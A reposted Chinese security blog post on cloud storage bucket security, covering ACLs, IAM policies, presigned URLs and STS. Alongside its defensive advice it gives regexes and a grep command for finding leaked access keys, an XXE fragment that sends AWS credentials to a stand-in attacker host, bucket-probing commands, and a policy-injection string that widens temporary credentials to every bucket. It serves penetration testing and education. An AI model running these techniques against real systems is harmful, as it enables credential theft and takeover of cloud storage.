当前位置:首页 > 信息安全 > 正文

浅谈S3标准下存储桶应用中的安全问题

致谢

本文思路请教自MOMO,Clay还有火炬,并且结合自己的一部分研究和搜集的公开文章,内容均可以在阿里云腾讯云的文档和各路大佬的微信公众号上中找到出处

什么是存储桶

想象存储桶就像你家里的一个大柜子,专门用来存放各种物品(文件)。在阿里云对象存储服务(OSS)中,存储桶(Bucket)就是存放文件(对象)的基本容器。每个存储桶有自己唯一的名称,就像每个柜子都有不同的编号一样。

当你使用OSS时,第一步就是创建一个存储桶,然后才能往里面上传文件。一个存储桶可以存放海量的文件,从照片、视频到文档、备份数据都可以。传统存储需要自建服务器、购买硬盘、维护机房,成本高昂;而云存储桶按实际使用量计费,无需前期投入,特别适合中小企业。例如,电商网站可以把商品图片放在存储桶,结合CDN加速,比自建服务器更省钱。所以,有很多企业选择上云,比如很多摄像头的视频存储。

什么是 ACL?

ACL(访问控制列表)就像是存储桶的"门锁规则",决定谁能访问你的存储桶以及如何访问。它控制着存储桶和其中文件的读写权限。OSS提供了几种预设的ACL策略,最常用的是以下两种:

浅谈S3标准下存储桶应用中的安全问题  第1张

公有读私有写

所有人都可以访问,攻击面较少,因为一般这情况下不会动态分配临时密钥。

私有读私有写

只有拥有你 (AKSK),或者是拥有你下发的预签名(Pre-Sign)或者临时凭据(STS)的人才能去访问。

RAM/IAM 策略

一种通过Json控制的,比ACL更加精确的权限控制,一般在STS的分配中很常见。
RAM对应的是阿里云,IAM对应的是S3,但其实二者差不多,格式差不多长这样:

{  "Version": "2012-10-17",  "Statement": [{    "Effect": "Allow",    "Action": "s3:GetObject",    "Resource": "arn:aws:s3:::example-bucket/*"
  }]
}
具体的特性对比可以看这个特性RAM/IAM 策略ACL
控制对象用户/角色(身份)资源(如 Bucket、文件)
权限粒度精细(可控制具体 API 操作)粗粒度(读/写/完全控制)
适用场景复杂权限管理(如企业多角色协作)简单公开/私有资源控制

可以理解预签名对应的是对单个文件对象的ACL控制,STS则是对要签名的对象的IAM/RAM控制

如何测试存储桶?

凭据泄露

开发:你重生了,你是一名开发牛马,老板发现存储桶的成本很低,要求你上云,于是为了方便,你心生一计,为了方便调试,直接把AKSK写进了前端JS。还能再不用修改后端的前提下光速上云。而且省去后端签名服务开发,客户端直传OSS提升性能,甚至可以让老板要求的"三天上线"KPI轻松达成。

// src/utils/ossClient.jsconst client = new OSS({
  region: 'oss-cn-hangzhou',
  accessKeyId: 'LTAI5t1234567890ABCDEF',  // 真实的AK
  accessKeySecret: 'BaiduCannotFindThis1234567890ABCDEF',  // 真实的SK
  bucket: 'production-bucket'})

上线后第7天凌晨2点,你接到了安全部门紧急电话:"你们前端JS里的AKSK被白帽黑客扫到了!",你失去了这个月的奖金作为那个白帽子的赏金,你的直系领导让你长点心吧。

规则匹配

作为测试人员,我们不可能每个 java 文件每个源码的翻找。这里我总结了一些网上常见的 aksk 格式,并且整理成了正则表达式,可以直接使用:

阿里云
^LTAI[0-9a-zA-Z]{20}$

腾讯云
^AKID[0-9a-zA-Z]{32}$

亚马逊云
(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}

火山引擎
(AKL|AKTP)[a-zA-Z0-9]{35,50}

金山云
^AKLT[\\w-]{20}$

京东云
^JDC_[0-9A-Z]{28}$

一把梭:
(?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z\-_=]{8,64})['\"]

而我们这里可以直接使用 bash 匹配:

strings target.apk | grep -E "正则表达式"

逆向解密

故事继续:被安全部门通报后,你连夜赶工,决定在前端JS里对AKSK进行**“高级加密”**:被扣奖金后,你连夜用AES加密改写了代码,并且自己写了一套代码混淆和加解密的规则。

你以为高枕无忧时,安全部门再次来电:"应急响应中心来了消息,说你的代码被逆向了"

更多时候,业务不会直接硬编码密钥到本地的文件中,而是采取了加密的手段,比如各种 AES,混淆,以及各种,甚至是从服务端下发解密 AKSK 密文所需要的密钥,但是,只要 AKSK 放在本地,毕竟还是存在被解密的风险。但是具体的方式有 webpack 解包,IDA 逆向,这里能说的很多,没有必要拘泥于单个逆向的手法就不展开了。重点还是去观察程序本身的逻辑。比如说这里你发现:

浅谈S3标准下存储桶应用中的安全问题  第2张

这里再没有和后端任何交互的前提下就直接发送了 STS 凭据,这就有理由怀疑这个 AKSK 存储再本地,STS 是再本地完成生成的。这个时候我们作为白帽子就可以考虑逆向了

内存提取

故事继续:身为开发的你决定和这个白帽子杠上了,被扣奖金后,你痛定思痛,决定彻底解决AKSK泄露问题。你研究了一堆安全方案,最终设计出一套“完美”防御:

动态AKSK下发:每次启动时,客户端向后端请求加密的AKSK,仅保存在内存中,用完即焚

RSA+AES混合加密:客户端生成随机AES密钥,用后端RSA公钥加密后传输。

后端解密后,用AES加密AKSK返回,客户端内存解密后使用,不写入任何存储。

而且我使用C++编写核心逻辑,编译成WebAssembly(WASM),让JS调试工具失效。

关键变量实时覆写,AKSK用完后立即memset清零内存。

检测调试器附着(如IsDebuggerPresent),发现则崩溃进程。

专用客户端:用Electron封装,禁用DevTools,让浏览器调试彻底失效。

你自信满满:“哼,我的AKSK存活时间极短,还有WASM保护,看你怎么抓!”

但是再二进制世界的另外一端,一个白帽子悄悄打开了任务管理器:选中你的进程后单击了转换成存储文件的按钮,并且通过代理抓包让你的客户端误认为是网络延迟卡在了使用 AKSK 上传图片前的那一步,并且对提取的存储文件做批量的内存关键字段分析,成功再次提取出了 AKSK。

不久之后,安全部门再次来电:“AKSK又泄露了!白帽子拿到了过去24小时的所有临时密钥!”

安全工程师王工叹了口气:

“你折腾这么多,还不如直接用OSS STS临时令牌,有效期最短15分钟,泄露了也自动失效。”

你终于认命,删掉了所有“反泄露”代码,换成了:

axios.get('/sts-token').then(res => {  
  const client = new OSS({  
    accessKeyId: res.data.Credentials.AccessKeyId,  // 临时AK  
    accessKeySecret: res.data.Credentials.AccessKeySecret,  // 临时SK  
    stsToken: res.data.Credentials.SecurityToken,  // 临时Token  
    bucket: 'your-bucket',  
    region: 'oss-cn-hangzhou'  
  });  
});

作为白帽子我们回头看看,发现只要 aksk 有一段时间放在了本地一定是不安全的,都有会被破解。所以一定要对 AKSK 相关的关键字极为敏感。

后台泄露

我们接着有请”倒霉“被安全人员折磨的开发菌,故事继续:你正埋头改Bug,突然产品经理扔来一个需求:“用户上传的XML文件要能预览内容,明天上线!”你没多想,随手写了段渲染逻辑:

// 解析用户上传的XML(毫无防备)DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
Document doc = factory.newDocumentBuilder().parse(userUploadedXMLFile);

“反正只是读个XML,能出啥问题?” 你嘀咕着,顺手把代码推上了线。

安全部门的王工发来一张截图:

  <!ENTITY % exfiltrate "http://hacker-server.com/?leak=%aws_creds;">
  %exfiltrate;
]>
<demo>XXE Test</demo>

你的大脑瞬间空白——用户上传的XML 的渲染结果里,赫然躺着你们服务器的环境变量,包括:

● OSS_ACCESS_KEY_ID=LTAI5tAbCdEfGhIjKlMnOpQr

● OSS_ACCESS_KEY_SECRET=BaiduCannotFindThis1234567890

一般的 AKSK 都是存放在环境变量中,这样有效避免了直接将 AKSK 硬编码到对应的代码或者是配置文件中,但是也会成为黑客重点关照的对象。这样还是会造成存储桶,接管。不只是通过直接的 XXE 读取,比如在 Django 框架的开发者模式下,攻击者会通过恶意的并发的操作来实现触发报错界面显示此时程序中的所有的变量和部分代码,这就包含 AKSK 和数据库密码等关键的变量了

浅谈S3标准下存储桶应用中的安全问题  第3张

不仅如此,java 下 springboot 框架中的/heapdump 默认界面也会造成对应的内存状态未授权访问,从而造成 AKSK 泄露

云上越权

临时鉴权:预签名 vs. 临时凭据 vs. cdn 反向代理

预签名(Presigned URL) vs STS(临时安全令牌)对比表




对比项预签名(Presigned URL)STS(临时安全令牌)
权限范围仅针对单个文件的操作(如上传/下载)可自定义细粒度权限(如限定Bucket、目录、操作类型)
有效期通常几分钟~7天(需提前设定)最短15分钟,最长36小时(推荐1小时内)
适用场景临时公开文件链接、客户端直传需要复杂权限控制的客户端操作(如App、Web端)
安全性中(URL泄露后可能被滥用)高(令牌自动过期,权限可精确控制)
是否需要后端需后端生成签名URL需后端签发STS令牌
典型操作GetObjectPutObject任意OSS API操作(如ListObjectsDeleteObject

代码示例

1. 预签名(Presigned URL)

后端生成签名URL(Python Flask)

from flask import Flask
import oss2

app = Flask(__name__)
auth = oss2.Auth('your_access_key_id', 'your_access_key_secret')
bucket = oss2.Bucket(auth, 'https://oss-cn-hangzhou.aliyuncs.com', 'your_bucket_name')

@app.route('/generate-presigned-url')
def generate_presigned_url():    # 生成一个30分钟有效的下载链接
    url = bucket.sign_url('GET', 'example.txt', 30 * 60)    return {'url': url}if __name__ == '__main__':
    app.run()

前端使用(JavaScript)

// 直接使用后端返回的预签名URLfetch('/generate-presigned-url')
  .then(res => res.json())
  .then(data => {    const downloadUrl = data.url;
    window.open(downloadUrl); // 下载文件
  });

浅谈S3标准下存储桶应用中的安全问题  第4张

2. STS(临时安全令牌)

后端签发STS令牌(Python)

from aliyunsdkcore.client import AcsClientfrom aliyunsdksts.request.v20150401 import AssumeRoleRequest

client = AcsClient('your_access_key_id', 'your_access_key_secret', 'cn-hangzhou')

def generate_sts_token():
    request = AssumeRoleRequest.AssumeRoleRequest()
    request.set_RoleArn('acs:ram::1234567890123456:role/oss-sts-role')  # RAM角色ARN
    request.set_RoleSessionName('client-session')
    request.set_DurationSeconds(900)  # 15分钟有效期
    response = client.do_action_with_exception(request)    return response# 返回给前端的STS令牌格式示例:# {#   "Credentials": {#     "AccessKeyId": "STS...",#     "AccessKeySecret": "...",#     "SecurityToken": "...",#     "Expiration": "2023-10-01T12:00:00Z"#   }# }

浅谈S3标准下存储桶应用中的安全问题  第5张

前端使用OSS SDK(JavaScript)

// 1. 从后端获取STS令牌fetch('/get-sts-token').then(res => res.json()).then(data => {  const { AccessKeyId, AccessKeySecret, SecurityToken } = data.Credentials;  // 2. 初始化OSS客户端
  const client = new OSS({
    region: 'oss-cn-hangzhou',
    accessKeyId: AccessKeyId,
    accessKeySecret: AccessKeySecret,
    stsToken: SecurityToken,
    bucket: 'your-bucket'
  });  // 3. 执行操作(如上传文件)
  client.put('example.txt', file).then(result => {
    console.log('上传成功', result);
  });
});

浅谈S3标准下存储桶应用中的安全问题  第6张


3, 反向代理

比如开发者定义一个 nignx 代理实现对应的安全,防止 aksk 泄露

server {
  listen 443 ssl;
  server_name cdn.yourdomain.com;  # 1. 鉴权逻辑(如检查Token)
  location / {  if ($http_token != "your_secret_token") {  return 403;
}# 2. 代理到OSS(AKSK仅Nginx知道)proxy_pass https://your-bucket.oss-cn-hangzhou.aliyuncs.com;proxy_set_header Host your-bucket.oss-cn-hangzhou.aliyuncs.com;# 3. 可选:改写路径(如将/files/映射到OSS的/prefix/)rewrite ^/files/(.*) /prefix/$1 break;
}
}

浅谈S3标准下存储桶应用中的安全问题  第7张

关键区别总结

  1. 预签名

  • 简单快捷,适合公开临时链接。对单个文件操作

  • 权限固定(仅限生成URL时指定的操作)。Put or Get

  1. STS

  • 灵活控制权限(通过RAM策略,颗粒度更高),适合复杂场景。

  • 自动过期,安全性更高。

  1. 反向代理

  • 更加灵活的指定访问存储桶的规则,而且不暴露存储桶名和 AKSK

STS 直接测试法

比如,最简单的漏洞,临时凭据的权限过大,允许你修改读取别人的信息:,这个可以通过 ossutils 来检测:

ossutil64 config -e oss-cn-hangzhou.aliyuncs.com -i STS_ACCESS_KEY_ID -k STS_ACCESS_KEY_SECRET -t STS_SECURITY_TOKEN#配置存储桶ossutil64 ls oss://your-bucket/ossutil64 cp localfile.txt oss://your-bucket/test.txtossutil64 rm oss://your-bucket/test.txt

在预签名中可能是 HTTP 方法没有限制完全,你原本只能访问(GET)但却可以写入(PUT)

而在反向代理中则可能是对你访问的东西不加任何限制,导致你置空的时候直接访问到根目录造成列桶 (列桶=访问到目录)

?acl
?uploads
?tagging
?reponse-content-type=text/html
?versioning
?logging
?lifecycle
?replication
?website

路径逃逸法

如果STS和Pre-sign都是动态生成的,则可以考虑使用如下字符进行逃逸生成的RAM策略或者是目录

../#?

如果用户的传参未经过任何过滤直接嵌入到了生成的RAM策略中,比如一下这段代码:便可以造成RAM策略注入,导致逃逸

from flask import Flask, render_template,request
import osfrom urllib.parse import urlparse, urlunparse

def get_sts(name):    # -*- coding: utf-8 -*-
    from urllib.parse import quote
    import json
    import types    from tencentcloud.common import credential    from tencentcloud.common.profile.client_profile import ClientProfile    from tencentcloud.common.profile.http_profile import HttpProfile    from tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException    from tencentcloud.sts.v20180813 import sts_client, models    try:        # 实例化一个认证对象,入参需要传入腾讯云账户 SecretId 和 SecretKey,此处还需注意密钥对的保密
        # 代码泄露可能会导致 SecretId 和 SecretKey 泄露,并威胁账号下所有资源的安全性
        # 以下代码示例仅供参考,建议采用更安全的方式来使用密钥
        # 请参见:https://cloud.tencent.com/document/product/1278/85305
        # 密钥可前往官网控制台 https://console.cloud.tencent.com/cam/capi 进行获取
        cred = credential.Credential("", "")        # 实例化一个http选项,可选的,没有特殊需求可以跳过
        httpProfile = HttpProfile()
        httpProfile.endpoint = "sts.tencentcloudapi.com"

        # 实例化一个client选项,可选的,没有特殊需求可以跳过
        clientProfile = ClientProfile()
        clientProfile.httpProfile = httpProfile        # 实例化要请求产品的client对象,clientProfile是可选的
        client = sts_client.StsClient(cred, "ap-guangzhou", clientProfile)        # 实例化一个请求对象,每个接口都会对应一个request对象
        req = models.GetFederationTokenRequest()
        p = '{"version":"2.0","statement":[{"effect":"allow","action":["name/cos:PutObject","name/cos:PostObject","name/cos:DeleteObject","name/cos:InitiateMultipartUpload","name/cos:UploadPart","name/cos:CompleteMultipartUpload","name/cos:AbortMultipartUpload"],"resource":["qcs::cos:ap-guangzhou:uid/1304445672:prefix//1304445672/teach/1000001/aaaa/upload/'+name+'"]}]}'
        params = {            "Name": "a",            "Policy": quote(p)
        }

        req.from_json_string(json.dumps(params))        # 返回的resp是一个GetFederationTokenResponse的实例,与请求对象对应
        resp = client.GetFederationToken(req)        # 输出json格式的字符串回包
        return (resp.to_json_string())

    except TencentCloudSDKException as err:        return ""

当我们输入:

aaa"]},{"effect": "allow","action":[""],"resource":["qcs::cos:","qcs::cvm:*

RAM策略就是

{"version":"2.0","statement":[{"effect":"allow","action":["name/cos:PutObject","name/cos:PostObject","name/cos:DeleteObject","name/cos:InitiateMultipartUpload","name/cos:UploadPart","name/cos:CompleteMultipartUpload","name/cos:AbortMultipartUpload"],"resource":["qcs::cos:ap-guangzhou:uid/1304445672:prefix//1304445672/teach/1000001/aaaa/upload/aaa"]},{"effect": "allow","action":[""],"resource":["qcs::cos:","qcs::cvm:*"]}]}

就接管了全部存储桶了



转自:https://forum.butian.net/share/4340